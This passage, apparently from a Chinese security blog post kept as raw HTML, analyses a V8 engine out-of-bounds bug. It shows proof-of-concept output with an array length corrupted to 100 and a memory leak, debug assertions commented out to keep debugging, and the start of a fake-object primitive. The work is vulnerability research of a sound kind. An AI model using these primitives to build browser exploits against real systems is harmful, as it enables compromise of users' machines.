rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">54</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">55</span>opt_me(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">56</span>%OptimizeFunctionOnNextCall(opt_me);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">57</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> res = opt_me(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">输出如下，行5看到arr对象的length修改为0x64</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span>DebugPrint: 000003517A90E181: [JSArray]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span> - map: 0x032b3e982931 &lt;Map(PACKED_DOUBLE_ELEMENTS)&gt; [FastProperties]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span> - prototype: 0x00a00e086469 &lt;JSArray[0]&gt;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span> - elements: 0x03517a90e139 &lt;FixedDoubleArray[7]&gt; [PACKED_DOUBLE_ELEMENTS]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span> - length: 100<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span> - properties: 0x009779682d29 &lt;FixedArray[0]&gt; {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>    #length: 0x02b5c4e1cd39 &lt;AccessorInfo&gt; (const accessor descriptor)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span> }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span> - elements: 0x03517a90e139 &lt;FixedDoubleArray[7]&gt; {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>           0: 1.1<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>           1: 1.2<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>           2: 1.3<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>           3: 1.4<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>           4: 1.5<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>           5: 1.6<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>           6: 1.7<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span> }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>0000032B3E982931: [Map]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span> - type: JS_ARRAY_TYPE<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span> - instance size: 32<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span> - inobject properties: 0<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span> - elements kind: PACKED_DOUBLE_ELEMENTS<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span> - unused property fields: 0<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span> - enum length: invalid<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span> - back pointer: 0x032b3e9828e1 &lt;Map(HOLEY_SMI_ELEMENTS)&gt;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span> - prototype_validity cell: 0x02b5c4e02201 &lt;Cell value= 1&gt;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span> - instance descriptors #1: 0x00a00e0866c9 &lt;DescriptorArray[5]&gt;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span> - layout descriptor: 0000000000000000<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">29</span> - transitions #1: 0x00a00e086639 &lt;TransitionArray[4]&gt;Transition array #1:<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">30</span>     0x0097796c5511 &lt;Symbol: (elements_transition_symbol)&gt;: (transition to HOLEY_DOUBLE_ELEMENTS) -&gt; 0x032b3e982981 &lt;Map(HOLEY_DOUBLE_ELEMENTS)&gt;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">31</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">32</span> - prototype: 0x00a00e086469 &lt;JSArray[0]&gt;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">33</span> - constructor: 0x00a00e086229 &lt;JSFunction Array (sfi = 000002B5C4E13111)&gt;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">34</span> - dependent code: 0x009779682391 &lt;Other heap object (WEAK_FIXED_ARRAY_TYPE)&gt;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">35</span> - construction counter: 0<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">36</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">37</span>oob index is 10<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">38</span>length is 100<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">39</span>leaked 0x0000006400000000<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">40</span>array&#39;s length: 100 + 2.121995790965e-312<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">41</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;"><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">42</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">43</span>#</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"></span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">44</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">#</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> Fatal error <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">in</span> ../../..\src/objects/fixed-array-inl.h, line 181</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">45</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">#</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> Debug check failed: index &gt;= 0 &amp;&amp; index &lt; this-&gt;length().</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">46</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">#</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"></span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">47</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">#</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"></span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">48</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">#</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"></span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">49</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">#</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">FailureMessage Object: 00000023D3FFD5F8</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">50</span>==== C stack trace ===============================<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">51</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">52</span>        v8::base::debug::StackTrace::StackTrace [0x00007FFBEEEB2C7C+44] (F:\Research\chrome2\v8\v8\src\base\debug\stack_trace_win.cc:168)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">53</span>        v8::platform::`anonymous namespace&#39;::PrintStackTrace [0x00007FFBE61AF7E4+36] (F:\Research\chrome2\v8\v8\src\libplatform\default-platform.cc:27)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">54</span>        ......<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">同样我们在内存中也可以看到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">JSArray</code>的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">length</code>修改为0x64<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.3221830985915493" title="" data-type="png" data-w="568" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=258bb62f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcTpFC4Hh4f3KCTREK7j4PBg9FkHqanqiaFT36z2aOfsaETylU9kbpnOg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">上面测试代码最后crash了，调用栈如下<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.25634178905206945" title="" data-type="png" data-w="749" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=c78265f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzc8icPPJj9LSLRZturId4sSQIvY9LfTPPIZrRvP8KIPCYic7M8oYxuk0qw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">调用栈的第5层，调试信息如下，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">this</code>指向<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">FixedArray</code>，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">index</code>是测试代码里越界的下标<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.1757754800590842" title="" data-type="png" data-w="677" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=c2d243fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzc6TBGmWTszBNxM5w1wk4LI82icnKiaiamAkDwYKASQ93qXNjJ1KON8Wffw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">DCHECK</code>为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">debug</code>编译时的宏代码如下，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">release</code>时则不存在</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// src\base\logging.h: 55</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>#ifdef DEBUG<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>#define DCHECK_WITH_MSG(condition, message)   \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">do</span> {                                        \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (V8_UNLIKELY(!(condition))) {          \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>      V8_Dcheck(__FILE__, __LINE__, message); \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>    }                                         \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>  } <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">while</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>#define DCHECK(condition) DCHECK_WITH_MSG(condition, #condition)<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">为后续调试方便我这里直接在源码中修改后重新编译。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">后续调试，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Array</code>的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">indexOf</code>搜索下标，但是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">debug</code>版本在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">CSA</code>会检测<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">indexOf</code>的index，同样程序会crash，也是DEBUG模式的断言，这里也注释掉<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">CSA_ASSERT</code></p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// src\code-stub-assembler.cc: 2384</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>TNode&lt;Float64T&gt; CodeStubAssembler::LoadFixedDoubleArrayElement(<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>    SloppyTNode&lt;FixedDoubleArray&gt; object, Node* index_node,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>    MachineType machine_type, <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> additional_offset,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>    ParameterMode parameter_mode, Label* if_hole) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>    CSA_ASSERT(<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">this</span>, IsFixedDoubleArray(object));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>    DCHECK_EQ(additional_offset % kPointerSize, <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>    CSA_SLOW_ASSERT(<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">this</span>, MatchesParameterMode(index_node, parameter_mode));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">int32_t</span> header_size =<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>        FixedDoubleArray::kHeaderSize + additional_offset - kHeapObjectTag;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>    TNode&lt;IntPtrT&gt; offset = ElementOffsetFromIndex(<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>        index_node, HOLEY_DOUBLE_ELEMENTS, parameter_mode, header_size);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">/*CSA_ASSERT(this, IsOffsetInBounds(<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>    offset, LoadAndUntagFixedArrayBaseLength(object),<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>    FixedDoubleArray::kHeaderSize, HOLEY_DOUBLE_ELEMENTS));*/</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> LoadDoubleWithHoleCheck(object, offset, if_hole, machine_type);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>}<br/></code></pre><h3 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.3em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">（2）Getting fake object</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">PACKED_ELEMENTS</code>类型的数组能存储指向JS OBJ的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">tagged pointer</code>(+1)，V8的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">elements kind</code>提供了当前JsArray存储元素的类型信息。例：<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.3936899862825789" title="" data-type="png" data-w="729" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=8bfa0dd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcoc12uttEIiboWzwQzrj1H8p1DfnhbUzJe4PWh2pdWvKGb59TS8vvNVQ%2F640%3Fwx_fmt%3Dpng"/></figure><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> var objects = new Array(new Object())</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">2</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> 